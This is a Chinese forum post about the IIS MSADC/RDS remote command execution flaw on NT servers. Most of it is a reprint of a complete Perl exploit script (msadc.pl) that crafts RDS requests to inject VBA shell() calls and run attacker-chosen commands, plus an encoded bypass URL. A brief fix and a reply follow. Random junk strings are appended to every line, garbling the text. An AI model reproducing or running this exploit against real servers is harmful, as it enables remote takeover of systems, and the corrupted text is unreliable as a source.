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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) &zeyE;/Hj  
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涉及程序: qqr?!vem6  
Microsoft NT server J1RJ*mo7,  
cyv`B3}  
描述: j0S# >t  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 sRL`dEl4l  
m6&~HfwN  
详细: KNpl:g3{<Q  
如果你没有时间读详细内容的话,就删除: 0s3%Kqi[  
c:\Program Files\Common Files\System\Msadc\msadcs.dll >j(_[z|v3  
有关的安全问题就没有了。 BsqP?/  
ex9g?*Q  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 =9["+;\e&  
{V$|3m>:*  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 #TX/aKr:  
关于利用ODBC远程漏洞的描述,请参看: z.9U}F  
zrL$]Oy}x  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm [OV"}<V  
I{9QeR I  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ZQoU3AD;  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 6YLj^w] %  
+]A:M6P:{v  
这里不再论述。 zH4D8@[7O  
ZaDyg"Tw+  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: T/Gz94c  
RLynE V;]  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset }=UHbU.n~!  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! W*4-.*U8a  
^ft>@=K(|  
o]` *M|  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 4(~L#}:r!  
] =xE  
#!perl a 3b/e8c  
# 5k3n\sqZA  
# MSADC/RDS 'usage' (aka exploit) script w%VU/6~  
# z8~NZ;A  
# by rain.forest.puppy :q7Wy&ow  
# \H~T>j{N  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me t#/YN.@r  
# beta test and find errors! VT%NO'0  
KB,j7 ~V  
use Socket; use Getopt::Std; }bpQq6ZF  
getopts("e:vd:h:XR", \%args); vNY{j7l/W  
ygS;$2m%2  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";  $s c  
yZ(zdM\/sL  
if (!defined $args{h} && !defined $args{R}) { ?|C2*?hZ+  
print qq~ A*R^n}sh  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Uq,^Wy  
-h <host> = host you want to scan (ip or domain) qu6D 5t  
-d <seconds> = delay between calls, default 1 second nQtWvT  
-X = dump Index Server path table, if available gA+qC7=p$  
-v = verbose V/LLaZ TE  
-e = external dictionary file for step 5 2K6qY)/_  
mPK:R^RjG&  
Or a -R will resume a command session K?Nhi^f"L  
R)( T^V`{  
~; exit;} ufZDF=$7  
+wU@ynw  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; K.nHii   
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} VUGmi]qd  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Apag{Z]^B  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); { Fb*&|-n  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} wn, KY$/  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } #PW9:_BE  
Uh4%}-;  
if (!defined $args{R}){ $ret = &has_msadc; )Y0!~# `  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} =tn)}Y.<e  
vY}g<*  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" c?*=|}N  
. "cmd /c "; 9Cp-qA%t  
$in=<STDIN>; chomp $in; |?xN\O^#}  
$command="cmd /c " . $in ; oj<gD  
Xp% v.M  
if (defined $args{R}) {&load; exit;} EhvX)s  
NiK4d{E&  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; XS{Qnx_#  
&try_btcustmr; "ycJ:Xv49  
8z`G,qh  
print "\nStep 2: Trying to make our own DSN..."; )}(^, Fo c  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; RnE4<Cy  
rJT a  
print "\nStep 3: Trying known DSNs..."; 1D7 `YKI9h  
&known_dsn; fu ,}1Mq#  
FUb\e-Q=  
print "\nStep 4: Trying known .mdbs..."; u@M,qo`  
&known_mdb; 2(+2+ }  
1#2 I  
if (defined $args{e}){ (gU!=F?#m  
print "\nStep 5: Trying dictionary of DSN names..."; xml7Uarc  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } KqJs?Won  
h"Q8b}$^)  
print "Sorry Charley...maybe next time?\n"; !hy-L_wL]  
exit; Lv7(st%`  
OLGE!&!>  
############################################################################## itP,\k7>d  
]:-mbgW  
sub sendraw { # ripped and modded from whisker P|E| $)m  
sleep($delay); # it's a DoS on the server! At least on mine... `UaD6Mc<Mz  
my ($pstr)=@_; !i}w~U<  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Y\P8 v  
die("Socket problems\n"); 'GWN~5  
if(connect(S,pack "SnA4x8",2,80,$target)){ MKk\ u9  
select(S); $|=1; &PHTpkaam  
print $pstr; my @in=<S>;  qX{+oy5  
select(STDOUT); close(S); +mn[5Y}:  
return @in; X \/#@T  
} else { die("Can't connect...\n"); }} e\L8oOk#r  
kxv1Hn"`{E  
############################################################################## xy;;zOh`  
~4'$yWG  
sub make_header { # make the HTTP request j\M?~=*w  
my $msadc=<<EOT L!xi  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 NgPk&niM  
User-Agent: ACTIVEDATA NzvXN1_%  
Host: $ip ww1[rCh\+  
Content-Length: $clen j8sH|{H!Nq  
Connection: Keep-Alive j3Y['xDv  
0g8NHkM:2a  
ADCClientVersion:01.06 gB33?  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 nxFBID  
R:qW;n%AF  
--!ADM!ROX!YOUR!WORLD! BI@[\aRLQ  
Content-Type: application/x-varg RViAwTvY  
Content-Length: $reqlen Eu3E-K@y  
9\(| D#  
EOT Q7CsJzk~)  
; $msadc=~s/\n/\r\n/g; dM@1l1h/  
return $msadc;} C0Z=~Q%  
@=u3ZVD  
############################################################################## om>KU$g  
8z\xrY  
sub make_req { # make the RDS request )4;`^]F  
my ($switch, $p1, $p2)=@_; 9M c ae 31  
my $req=""; my $t1, $t2, $query, $dsn; &K,i f  
*LY8D<:zs  
if ($switch==1){ # this is the btcustmr.mdb query MolgwVd  
$query="Select * from Customers where City=" . make_shell(); BMf@M  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . '|=;^Z7.K  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} #g!.T g'  
8 Fbo3  
elsif ($switch==2){ # this is general make table query ,/unhfs1q  
$query="create table AZZ (B int, C varchar(10))"; dAj$1Ke  
$dsn="$p1";} % & bY]w  
e+K^A q  
elsif ($switch==3){ # this is general exploit table query <#HYqR',  
$query="select * from AZZ where C=" . make_shell(); /qw.p#  
$dsn="$p1";} ddR>7d}N  
apxph2yvS  
elsif ($switch==4){ # attempt to hork file info from index server P!k{u^$L  
$query="select path from scope()"; akQ7K  
$dsn="Provider=MSIDXS;";} ovV'VcUs  
.N(p=9  
elsif ($switch==5){ # bad query %8x#rohP  
$query="select"; U/BR*Zn]*  
$dsn="$p1";} I2Yz#V<%ru  
u#SWj,X  
$t1= make_unicode($query); rrv%~giU  
$t2= make_unicode($dsn); [ikOb8 G#  
$req = "\x02\x00\x03\x00"; Z%\,w(o[h  
$req.= "\x08\x00" . pack ("S1", length($t1)); !f6(Zho  
$req.= "\x00\x00" . $t1 ; @=kSo -SX  
$req.= "\x08\x00" . pack ("S1", length($t2)); %~S&AE-  
$req.= "\x00\x00" . $t2 ; t |oR7qa{w  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; W@!S%Y9  
return $req;} v*yuE5{  
o _H`o&xr  
############################################################################## pD]OT-8  
5/z/>D;  
sub make_shell { # this makes the shell() statement \nqS+on]  
return "'|shell(\"$command\")|'";} >lM l  
lb1Xsgm{  
############################################################################## ^sg,\zD 'X  
3oG,E;(  
sub make_unicode { # quick little function to convert to unicode {FTqu.  
my ($in)=@_; my $out; WOf 4o  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } q"_QQ~  
return $out;} +d-NL?c  
A. w:h;7  
############################################################################## 2dgd~   
uRe'%?W  
sub rdo_success { # checks for RDO return success (this is kludge) 6\S~P/PkE  
my (@in) = @_; my $base=content_start(@in); *HB-QIl  
if($in[$base]=~/multipart\/mixed/){ r!{Up7uL  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Nl1D o:PY  
return 0;} kz7(Z'pw  
0Fr?^3h  
############################################################################## mlS$>O_aX  
8sK9G` k  
sub make_dsn { # this makes a DSN for us 9 JK Ew  
my @drives=("c","d","e","f"); x3eZ^8^1}  
print "\nMaking DSN: "; _t}WsEQ+P  
foreach $drive (@drives) { $ o#V#  
print "$drive: "; -C&P%tt Y  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ROZF)|l  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" -RK- Fu<e  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); S`m]f5u|  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; O!bOp=  
return 0 if $2 eq "404"; # not found/doesn't exist ?#Q #u|~  
if($2 eq "200") { 2T[9f;jM'  
foreach $line (@results) { u,Kly<0j  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ZWp(GC1NA  
} return 0;} Nu~lsWyRI5  
>`ZyG5  
############################################################################## 1|-Dj|  
"@,}p\  
sub verify_exists { *$ %a:q1U  
my ($page)=@_; L4y4RG/SJ:  
my @results=sendraw("GET $page HTTP/1.0\n\n"); l0A&9g*l2  
return $results[0];} ~zNAbaC+>t  
{%6`!WW[  
############################################################################## aPbE;" f  
PBkt~=j  
sub try_btcustmr { b(O3@Q6[  
my @drives=("c","d","e","f"); p,i[W.dy.'  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ]+:^W^bs:  
O#S.n#{  
foreach $dir (@dirs) { {o`] I>gb  
print "$dir -> "; # fun status so you can see progress >[=^_8M  
foreach $drive (@drives) { (mtk 4  
print "$drive: "; # ditto Z Sd4z:/  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; s( q_ o  
$reqlenlen=length( "$reqlen" ); r#] WI|  
$clen= 206 + $reqlenlen + $reqlen; 54li^   
6MdiY1Lr!K  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Y#$%iF  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ?zHPJLv|Y  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ?R.j^ S^  
=D#bb <o  
############################################################################## yFlm[K5YD  
Q%mB |i|  
sub odbc_error { R/>@ +  
my (@in)=@_; my $base; L"*/:$EJL.  
my $base = content_start(@in); tc{s B\&-  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this _?0}<k Q&  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 6]%sFy2  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; XaPV9 4  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; KE3;V2Ym f  
return $in[$base+4].$in[$base+5].$in[$base+6];} I- >Ss},U  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ! lc[  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . R)ITy!z  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} uurh??R  
p\aaJ  
############################################################################## +jnJ|h({  
Z+. '>  
sub verbose { |kV*Jc k  
my ($in)=@_; H{?vbqQ  
return if !$verbose; 9=h'9Wo  
print STDOUT "\n$in\n";} l &5QZI0I  
y0.8A-2:  
############################################################################## @{tz:f  
E+g@M8D  
sub save { 3e;^/kf<9  
my ($p1, $p2, $p3, $p4)=@_; "PTZ%7YH}  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ww $  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; =sJ7=39  
close OUT;} Xe:jAkDp  
yS(fILV  
############################################################################## # ,_u_'C*!  
OJ5#4qJ[  
sub load { ]<rkxgMW>  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; _Wq  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); DiwxXqY  
@p=<IN>; close(IN); BB*f4z$Y%  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); nR}sNl1  
$target= inet_aton($ip) || die("inet_aton problems"); :LRYYw  
print "Resuming to $ip ..."; ,\  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 3|4|*6  
if($p[1]==1) { <[\`qX  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ^l=!JP=M=  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; _Wp{ [TH  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); %GA"GYL9'  
if (rdo_success(@results)){print "Success!\n";} e .2ib?8  
else { print "failed\n"; verbose(odbc_error(@results));}} -vR5BMy=  
elsif ($p[1]==3){ 2s&*  
if(run_query("$p[3]")){ LO khjHR  
print "Success!\n";} else { print "failed\n"; }} !K}~/9Z=m  
elsif ($p[1]==4){ bg&zo;Ck8T  
if(run_query($drvst . "$p[3]")){ G{ sOR  
print "Success!\n"; } else { print "failed\n"; }} F6OpN "UM'  
exit;} 2w_WAdi  
~&8^9E a  
############################################################################## oe |)oTv  
/VS [pXXT|  
sub create_table { A3no~)wZn  
my ($in)=@_; 57zSu3v4Y  
$reqlen=length( make_req(2,$in,"") ) - 28; G!W[8UG  
$reqlenlen=length( "$reqlen" ); ;"fDUY|  
$clen= 206 + $reqlenlen + $reqlen; }Q?c"H!/  
my @results=sendraw(make_header() . make_req(2,$in,"")); C8e !H  
return 1 if rdo_success(@results); 0Lc9M-Lg  
my $temp= odbc_error(@results); verbose($temp); X4AyX.p  
return 1 if $temp=~/Table 'AZZ' already exists/; ?hM>mL  
return 0;} =Z+nz^'b  
wEE\+3b)  
############################################################################## 2FF4W54I  
0]=i}wL 8  
sub known_dsn { )Xak JU^o  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go L ugn 3+  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", SAK!z!t  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", wS+ ^K  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 04'~ta(t  
~ ! 3I2  
foreach $dSn (@dsns) { TUDr\' @/f  
print "."; HATA-M  
next if (!is_access("DSN=$dSn")); R_68-WO  
if(create_table("DSN=$dSn")){ l>{R`BZ/  
print "$dSn successful\n"; >`wV1^M6?  
if(run_query("DSN=$dSn")){ x2z;6)  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 7L@K _ZJ  
print "Something's borked. Use verbose next time\n";}}} print "\n";} Q7$.LEioN  
J6%AH?Mt  
############################################################################## 2Sp=rI  
Ucm :S-  
sub is_access { k.^co I5  
my ($in)=@_; T2Y,U {  
$reqlen=length( make_req(5,$in,"") ) - 28; A~ +S1  
$reqlenlen=length( "$reqlen" ); D]W$?( =4  
$clen= 206 + $reqlenlen + $reqlen; ~aOuG5 XK  
my @results=sendraw(make_header() . make_req(5,$in,"")); _ozg_E  
my $temp= odbc_error(@results); YoLx>8  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); >O?U= OeD  
return 0;} gV`=jAE_  
vR=6pl$|~~  
############################################################################## `|#Qx3n%  
DUe&r,(4O  
sub run_query { Q~Hh\Lt  
my ($in)=@_; \nB8WSvk2W  
$reqlen=length( make_req(3,$in,"") ) - 28; ]oV{t<0a  
$reqlenlen=length( "$reqlen" ); f7~9|w&  
$clen= 206 + $reqlenlen + $reqlen; UybW26C;aU  
my @results=sendraw(make_header() . make_req(3,$in,"")); ,4,V4 N  
return 1 if rdo_success(@results); Qb; d:@9  
my $temp= odbc_error(@results); verbose($temp); *^wB!{.#  
return 0;} #8bsxx!s  
.8uz 6~  
############################################################################## d]i(h~?_  
jhX[fT1m  
sub known_mdb { 1q3( @D5~+  
my @drives=("c","d","e","f","g"); e9Pk"HHl  
my @dirs=("winnt","winnt35","winnt351","win","windows"); -0Tnh;&=  
my $dir, $drive, $mdb; ?EpSC&S\  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; X3:XTuV   
RQB]/D\BO  
# this is sparse, because I don't know of many h:)Ci!D;  
my @sysmdbs=( "\\catroot\\icatalog.mdb", NU\ 5{N<  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", j:&4-K};Z`  
"\\system32\\certmdb.mdb", t"lyvI[  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% d:q +  
TLf9>= OVh  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", M9f?q.Bv  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 1w0OKaF5  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", Bo+DJizu  
"\\cfusion\\cfapps\\security\\realm_.mdb",  6vTo*8D  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", deeU@x`f<  
"\\cfusion\\database\\cfexamples.mdb", W85@v2b  
"\\cfusion\\database\\cfsnippets.mdb", %q322->Z  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", BH@)QVs-  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", @[?!s%*2  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ph|ZG6:  
"\\cfusion\\database\\smpolicy.mdb", )|<_cwz  
"\\cfusion\\database\cypress.mdb", Tv]<SI<B[  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 4Kv[e]10(  
"\\website\\cgi-win\\dbsample.mdb", XC3Kh^  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ]G}B 0u3  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" uw7{>9  
); #these are just E%TpJl'U  
foreach $drive (@drives) { eL.7#SIr}  
foreach $dir (@dirs){ w$5A|%Y+V}  
foreach $mdb (@sysmdbs) { uH^ PQ  
print "."; l0Ti Z  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ +1Ph<zq"  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; DrvtH+e  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ "?GebA  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; Uo_tUp_Q  
} else { print "Something's borked. Use verbose next time\n"; }}}}} iG ,t_??  
yWHiw<  
foreach $drive (@drives) { ?vGf fMm  
foreach $mdb (@mdbs) { l??;3kh1  
print "."; L1)@z8]   
if(create_table($drv . $drive . $dir . $mdb)){ 2o[IHO]  
print "\n" . $drive . $dir . $mdb . " successful\n"; $ Cjk  
if(run_query($drv . $drive . $dir . $mdb)){ 6vf\R*D|A  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; Q7o5R{.oJ  
} else { print "Something's borked. Use verbose next time\n"; }}}} A~{f/%8D  
} } i)$n(A)K  
j%*7feSNC  
############################################################################## M`,XyIn  
PI?j_8  
sub hork_idx { Lg`Jp&Kg  
print "\nAttempting to dump Index Server tables...\n"; g42R 'E%  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; @#b0T:+v'  
$reqlen=length( make_req(4,"","") ) - 28; (%Oe_*e}Y  
$reqlenlen=length( "$reqlen" ); eE/%6g  
$clen= 206 + $reqlenlen + $reqlen; X`\:_|  
my @results=sendraw2(make_header() . make_req(4,"","")); /k"hH\Pp  
if (rdo_success(@results)){ T"E(  F  
my $max=@results; my $c; my %d; 2Q$\KRE  
for($c=19; $c<$max; $c++){ WY)^1Gb$ux  
$results[$c]=~s/\x00//g; VKLU0*2R  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; $-@$i`Kf/  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; X#+`e+Df  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 1}`LTPW9  
$d{"$1$2"}="";} iIU( C.I  
foreach $c (keys %d){ print "$c\n"; } 8tWE=8<  
} else {print "Index server doesn't seem to be installed.\n"; }} <e6=% 9  
(@ea|Fd#4  
############################################################################## 6;uBZ &g  
)hL^+Nn bR  
sub dsn_dict { ~2N-k1'-'  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); zw:/!MS  
while(<IN>){ wt7.oKbW  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 135Par5v  
next if (!is_access("DSN=$dSn")); GMFc K=  
if(create_table("DSN=$dSn")){ ~! Lw1]&  
print "$dSn successful\n"; &9ki O  
if(run_query("DSN=$dSn")){ PF ;YE6  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { (4)3W^/kk?  
print "Something's borked. Use verbose next time\n";}}} -"Gl 4)  
print "\n"; close(IN);} pa] TeH  
KHJ=$5r)  
############################################################################## 712=rUI%!  
iE{Oit^aG  
sub sendraw2 { # ripped and modded from whisker *Pb.f  
sleep($delay); # it's a DoS on the server! At least on mine... (/q}mB  
my ($pstr)=@_; x9*ys;~w  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || gLCz]D.'  
die("Socket problems\n"); 0e9A+&r  
if(connect(S,pack "SnA4x8",2,80,$target)){ M-91 JOt~  
print "Connected. Getting data"; z`9l<Q/  
open(OUT,">raw.out"); my @in; WRMz]|+}4  
select(S); $|=1; print $pstr; )% |r>{  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} u-/3(dKt  
close(OUT); select(STDOUT); close(S); return @in; =w,(M  
} else { die("Can't connect...\n"); }} xDe47&qKM  
g Np-f  
############################################################################## )O-sWh4  
(E]"Srwh  
sub content_start { # this will take in the server headers rH^/8|}&s  
my (@in)=@_; my $c; NQ3|\<Wt  
for ($c=1;$c<500;$c++) { }-@I#9  
if($in[$c] =~/^\x0d\x0a/){ >huqt|S*9  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } +wjlAqMQ  
else { return $c+1; }}} ht$ WF  
return -1;} # it should never get here actually A@ { !:_55  
Q~CpP9%  
############################################################################## c( 8W8R  
H!^C2  
sub funky { {N@Y<=+:  
my (@in)=@_; my $error=odbc_error(@in); gNi}EP5>  
if($error=~/ADO could not find the specified provider/){ $u- lo|  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; YmA) @1@U  
exit;} =1&}t%<X  
if($error=~/A Handler is required/){ J4&XPr9  
print "\nServer has custom handler filters (they most likely are patched)\n"; /T4VJ{D  
exit;} FRD<0o/`  
if($error=~/specified Handler has denied Access/){ GHqBnE{B  
print "\nServer has custom handler filters (they most likely are patched)\n"; zZw@c?  
exit;}} 0I6499FQ  
-{r!M(47  
############################################################################## 4jPwL|#  
N+[}Gb"8q  
sub has_msadc { Xd5! Ti}  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); !4!S{#<q  
my $base=content_start(@results); u<J2p?`\&`  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); S@;&U1@h  
return 0;} TosPk(o(  
^S:cNRSW"  
######################## " -<}C%C  
e*6U |+kJ  
|^\ Hv5  
解决方案: KX$qM g1j  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll o7hH9iY  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 #3AYz82w  
o9DYr[  
拿出来充数 哈哈
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